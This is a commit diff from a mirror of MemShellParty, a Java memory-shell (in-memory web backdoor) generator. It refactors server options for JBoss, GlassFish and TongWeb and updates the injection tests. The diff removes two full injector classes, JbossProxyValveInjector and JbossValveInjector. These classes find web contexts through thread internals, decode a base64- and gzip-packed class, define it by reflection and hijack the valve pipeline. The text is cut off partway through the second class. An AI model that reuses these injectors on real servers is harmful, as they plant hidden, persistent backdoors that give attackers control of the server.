mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
refactor: simplify server options
This commit is contained in:
@@ -0,0 +1,15 @@
|
||||
package com.reajason.javaweb;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/7/21
|
||||
*/
|
||||
public class GenerationException extends RuntimeException {
|
||||
public GenerationException(String message) {
|
||||
super(message);
|
||||
}
|
||||
|
||||
public GenerationException(String message, Throwable cause) {
|
||||
super(message, cause);
|
||||
}
|
||||
}
|
||||
@@ -27,17 +27,14 @@ public enum Server {
|
||||
*/
|
||||
Jetty(new JettyShell()),
|
||||
/**
|
||||
* JBoss AS 中间件,JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
|
||||
* JBoss 中间件,JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
|
||||
*/
|
||||
JBossAS(new JbossShell()),
|
||||
JBossEAP6(new JbossShell()),
|
||||
JBoss(new JbossShell()),
|
||||
/**
|
||||
* Undertow,对应是 Wildfly 以及 JBoss EAP,也有可能是 SpringBoot 用的
|
||||
* Undertow,对应是 Wildfly 以及 JBossEAP7,也有可能是 SpringBoot 用的
|
||||
* <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
|
||||
*/
|
||||
Undertow(new UndertowShell()),
|
||||
JBossEAP7(new UndertowShell()),
|
||||
WildFly(new UndertowShell()),
|
||||
|
||||
/**
|
||||
* SpringMVC 框架
|
||||
@@ -68,25 +65,21 @@ public enum Server {
|
||||
* GlassFish 中间件
|
||||
*/
|
||||
GlassFish(new GlassFishShell()),
|
||||
Payara(new GlassFishShell()),
|
||||
|
||||
/**
|
||||
* 宝兰德中间件
|
||||
* 宝兰德中间件,9.5.2+ 企业版
|
||||
*/
|
||||
BES(new BesShell()),
|
||||
|
||||
/**
|
||||
* 东方通中间件
|
||||
*/
|
||||
TongWeb6(new TongWeb6Shell()),
|
||||
TongWeb7(new TongWeb7Shell()),
|
||||
TongWeb8(new TongWeb8Shell()),
|
||||
TongWeb(new TongWebShell()),
|
||||
|
||||
/**
|
||||
* 金蝶天燕中间件
|
||||
* 金蝶天燕中间件,only 9
|
||||
*/
|
||||
Apusic9(new ApusicShell()),
|
||||
Apusic10(new GlassFishShell()),
|
||||
Apusic(new ApusicShell()),
|
||||
|
||||
/**
|
||||
* 中创中间件
|
||||
|
||||
@@ -2,12 +2,12 @@ package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -21,17 +21,23 @@ public class ShellConfig {
|
||||
/**
|
||||
* 目标服务类型
|
||||
*/
|
||||
Server server;
|
||||
private Server server;
|
||||
|
||||
/**
|
||||
* 目标服务版本
|
||||
*/
|
||||
@Builder.Default
|
||||
private String serverVersion = "unknown";
|
||||
|
||||
/**
|
||||
* 内存马功能
|
||||
*/
|
||||
ShellTool shellTool;
|
||||
private ShellTool shellTool;
|
||||
|
||||
/**
|
||||
* 内存马类型
|
||||
*/
|
||||
String shellType;
|
||||
private String shellType;
|
||||
|
||||
/**
|
||||
* 生成类的目标 JRE 版本
|
||||
@@ -63,7 +69,7 @@ public class ShellConfig {
|
||||
|
||||
|
||||
public boolean isJakarta() {
|
||||
return StringUtils.containsIgnoreCase(shellType, "jakarta");
|
||||
return shellType.startsWith(ShellType.JAKARTA);
|
||||
}
|
||||
|
||||
public boolean needByPassJavaModule() {
|
||||
|
||||
+1
-1
@@ -43,7 +43,7 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
|
||||
}
|
||||
|
||||
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
|
||||
builder = ValveGenerator.build(builder, shell);
|
||||
builder = ValveGenerator.build(builder, shell, shellConfig.getServerVersion());
|
||||
}
|
||||
|
||||
if (shellConfig.isJakarta()) {
|
||||
|
||||
+11
-5
@@ -1,6 +1,9 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.memshell.server.*;
|
||||
import com.reajason.javaweb.GenerationException;
|
||||
import com.reajason.javaweb.memshell.server.AbstractShell;
|
||||
import com.reajason.javaweb.memshell.server.BesShell;
|
||||
import com.reajason.javaweb.memshell.server.TongWebShell;
|
||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||
import net.bytebuddy.description.field.FieldDescription;
|
||||
import net.bytebuddy.description.field.FieldList;
|
||||
@@ -27,18 +30,21 @@ public class ValveGenerator {
|
||||
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
|
||||
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
|
||||
|
||||
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractShell shell) {
|
||||
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractShell shell, String serverVersion) {
|
||||
String packageName = null;
|
||||
if (shell instanceof TongWeb6Shell) {
|
||||
if (serverVersion.equals("6")) {
|
||||
packageName = TONGWEB6_VALVE_PACKAGE;
|
||||
} else if (shell instanceof TongWeb7Shell) {
|
||||
} else if (serverVersion.equals("7")) {
|
||||
packageName = TONGWEB7_VALVE_PACKAGE;
|
||||
} else if (shell instanceof TongWeb8Shell) {
|
||||
} else if (serverVersion.equals("8")) {
|
||||
packageName = TONGWEB8_VALVE_PACKAGE;
|
||||
} else if (shell instanceof BesShell) {
|
||||
packageName = BES_VALVE_PACKAGE;
|
||||
}
|
||||
if (StringUtils.isEmpty(packageName)) {
|
||||
if (shell instanceof TongWebShell) {
|
||||
throw new GenerationException("serverVersion is needed for TongWeb valve shell, please use 6/7/8 for shellConfig.serverVersion");
|
||||
}
|
||||
return builder;
|
||||
}
|
||||
return builder.visit(new ValveRenameVisitorWrapper(packageName));
|
||||
|
||||
@@ -2,12 +2,10 @@ package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishContextValveAgentInjector;
|
||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterChainAgentInjector;
|
||||
import com.reajason.javaweb.memshell.injector.jboss.JbossProxyValveInjector;
|
||||
import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector;
|
||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector;
|
||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
|
||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatProxyValveInjector;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||
|
||||
@@ -27,8 +25,8 @@ public class JbossShell extends AbstractShell {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(LISTENER, TomcatListenerInjector.class)
|
||||
.addInjector(FILTER, TomcatFilterInjector.class)
|
||||
.addInjector(VALVE, JbossValveInjector.class)
|
||||
.addInjector(PROXY_VALVE, JbossProxyValveInjector.class)
|
||||
.addInjector(VALVE, GlassFishValveInjector.class)
|
||||
.addInjector(PROXY_VALVE, TomcatProxyValveInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN, GlassFishFilterChainAgentInjector.class)
|
||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, GlassFishContextValveAgentInjector.class)
|
||||
.build();
|
||||
|
||||
@@ -1,31 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.injector.tongweb.*;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/27
|
||||
*/
|
||||
public class TongWeb7Shell extends AbstractShell {
|
||||
|
||||
@Override
|
||||
public Class<?> getListenerInterceptor() {
|
||||
return TomcatShell.ListenerInterceptor.class;
|
||||
}
|
||||
|
||||
@Override
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(LISTENER, TongWebListenerInjector.class)
|
||||
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
|
||||
.addInjector(FILTER, TongWebFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
|
||||
.addInjector(VALVE, TongWebValveInjector.class)
|
||||
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
||||
.build();
|
||||
}
|
||||
}
|
||||
@@ -1,31 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.injector.tongweb.*;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/27
|
||||
*/
|
||||
public class TongWeb8Shell extends AbstractShell {
|
||||
|
||||
@Override
|
||||
public Class<?> getListenerInterceptor() {
|
||||
return TomcatShell.ListenerInterceptor.class;
|
||||
}
|
||||
|
||||
@Override
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(LISTENER, TongWebListenerInjector.class)
|
||||
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
|
||||
.addInjector(FILTER, TongWebFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
|
||||
.addInjector(VALVE, TongWebValveInjector.class)
|
||||
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
||||
.build();
|
||||
}
|
||||
}
|
||||
+1
-4
@@ -8,7 +8,7 @@ import static com.reajason.javaweb.memshell.ShellType.*;
|
||||
* @author ReaJason
|
||||
* @since 2024/12/26
|
||||
*/
|
||||
public class TongWeb6Shell extends AbstractShell {
|
||||
public class TongWebShell extends AbstractShell {
|
||||
|
||||
@Override
|
||||
public Class<?> getListenerInterceptor() {
|
||||
@@ -19,11 +19,8 @@ public class TongWeb6Shell extends AbstractShell {
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(LISTENER, TongWebListenerInjector.class)
|
||||
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
|
||||
.addInjector(FILTER, TongWebFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
|
||||
.addInjector(VALVE, TongWebValveInjector.class)
|
||||
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
||||
.build();
|
||||
@@ -110,8 +110,6 @@ public class CommonUtil {
|
||||
packageName = "org.eclipse.jetty.servlet.handlers";
|
||||
break;
|
||||
case Undertow:
|
||||
case JBossEAP7:
|
||||
case WildFly:
|
||||
packageName = "io.undertow.servlet.handlers";
|
||||
break;
|
||||
case SpringWebMvc:
|
||||
|
||||
+3
-7
@@ -51,13 +51,9 @@ public class Jboss423ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.JBossAS;
|
||||
Server server = Server.JBoss;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.PROXY_VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
ShellType.PROXY_VALVE
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
@@ -72,6 +68,6 @@ public class Jboss423ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||
}
|
||||
}
|
||||
|
||||
+2
-2
@@ -50,7 +50,7 @@ public class Jboss510ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.JBossAS;
|
||||
Server server = Server.JBoss;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
@@ -74,6 +74,6 @@ public class Jboss510ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||
}
|
||||
}
|
||||
|
||||
+2
-2
@@ -50,7 +50,7 @@ public class Jboss610ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.JBossAS;
|
||||
Server server = Server.JBoss;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
@@ -71,6 +71,6 @@ public class Jboss610ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||
}
|
||||
}
|
||||
|
||||
+2
-2
@@ -53,7 +53,7 @@ public class Jboss711ContainerTest {
|
||||
* 找不到 Templates 类暂时先不测试反序列化
|
||||
*/
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.JBossAS;
|
||||
Server server = Server.JBoss;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
@@ -74,6 +74,6 @@ public class Jboss711ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_7, packer, container, python);
|
||||
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_7, packer, container, python);
|
||||
}
|
||||
}
|
||||
|
||||
+2
-2
@@ -50,7 +50,7 @@ public class JbossEap6ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.JBossEAP6;
|
||||
Server server = Server.JBoss;
|
||||
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.PROXY_VALVE,
|
||||
@@ -68,6 +68,6 @@ public class JbossEap6ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.JBossEAP6, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||
}
|
||||
}
|
||||
|
||||
+2
-2
@@ -50,7 +50,7 @@ public class JbossEap7ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.JBossEAP7;
|
||||
Server server = Server.Undertow;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
@@ -69,6 +69,6 @@ public class JbossEap7ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.JBossEAP7, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||
}
|
||||
}
|
||||
|
||||
+2
-2
@@ -50,7 +50,7 @@ public class Payara5201ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Payara;
|
||||
Server server = Server.GlassFish;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
@@ -68,6 +68,6 @@ public class Payara5201ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||
}
|
||||
}
|
||||
|
||||
+2
-2
@@ -50,7 +50,7 @@ public class Payara520225ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Payara;
|
||||
Server server = Server.GlassFish;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
@@ -68,6 +68,6 @@ public class Payara520225ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||
}
|
||||
}
|
||||
|
||||
+2
-2
@@ -50,7 +50,7 @@ public class Payara620222ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Payara;
|
||||
Server server = Server.GlassFish;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
@@ -68,6 +68,6 @@ public class Payara620222ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V11, packer, container, python);
|
||||
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V11, packer, container, python);
|
||||
}
|
||||
}
|
||||
|
||||
-208
@@ -1,208 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.injector.jboss;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Method;
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class JbossProxyValveInjector implements InvocationHandler {
|
||||
|
||||
private Object rawValve;
|
||||
private Object proxyValve;
|
||||
|
||||
static {
|
||||
new JbossProxyValveInjector();
|
||||
}
|
||||
|
||||
public JbossProxyValveInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object valve = getShell(context);
|
||||
inject(context, valve);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public JbossProxyValveInjector(Object rawValve, Object proxyValve) {
|
||||
this.rawValve = rawValve;
|
||||
this.proxyValve = proxyValve;
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
|
||||
if ("invoke".equals(method.getName())) {
|
||||
try {
|
||||
Object request = args[0];
|
||||
Object response = args[1];
|
||||
if (proxyValve.equals(new Object[]{request, response})) {
|
||||
return null;
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
return method.invoke(rawValve, args);
|
||||
}
|
||||
}
|
||||
return method.invoke(rawValve, args);
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
for (Object value : childrenMap.values()) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
}
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
Object loader = invokeMethod(context, "getLoader", null, null);
|
||||
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void inject(Object context, Object valve) throws Exception {
|
||||
Object pipeline = invokeMethod(context, "getPipeline", null, null);
|
||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||
Class valveClass = contextClassLoader.loadClass("org.apache.catalina.Valve");
|
||||
Object rawValve = null;
|
||||
String fieldName = "first";
|
||||
try {
|
||||
rawValve = getFieldValue(pipeline, fieldName);
|
||||
} catch (NoSuchFieldException e) {
|
||||
fieldName = "basic";
|
||||
rawValve = getFieldValue(pipeline, fieldName);
|
||||
}
|
||||
Object proxyValve = Proxy.newProxyInstance(contextClassLoader, new Class[]{valveClass}, new JbossProxyValveInjector(rawValve, valve));
|
||||
setFieldValue(pipeline, fieldName, proxyValve);
|
||||
System.out.println("proxyValve inject successful");
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
public static Field getField(Object obj, String name) throws NoSuchFieldException {
|
||||
for (Class<?> clazz = obj.getClass();
|
||||
clazz != Object.class;
|
||||
clazz = clazz.getSuperclass()) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static void setFieldValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
|
||||
Field field = getField(obj, name);
|
||||
field.set(obj, value);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
Field field = getField(obj, name);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
}
|
||||
-177
@@ -1,177 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.injector.jboss;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class JbossValveInjector {
|
||||
|
||||
static {
|
||||
new JbossValveInjector();
|
||||
}
|
||||
|
||||
public JbossValveInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object valve = getShell(context);
|
||||
inject(context, valve);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
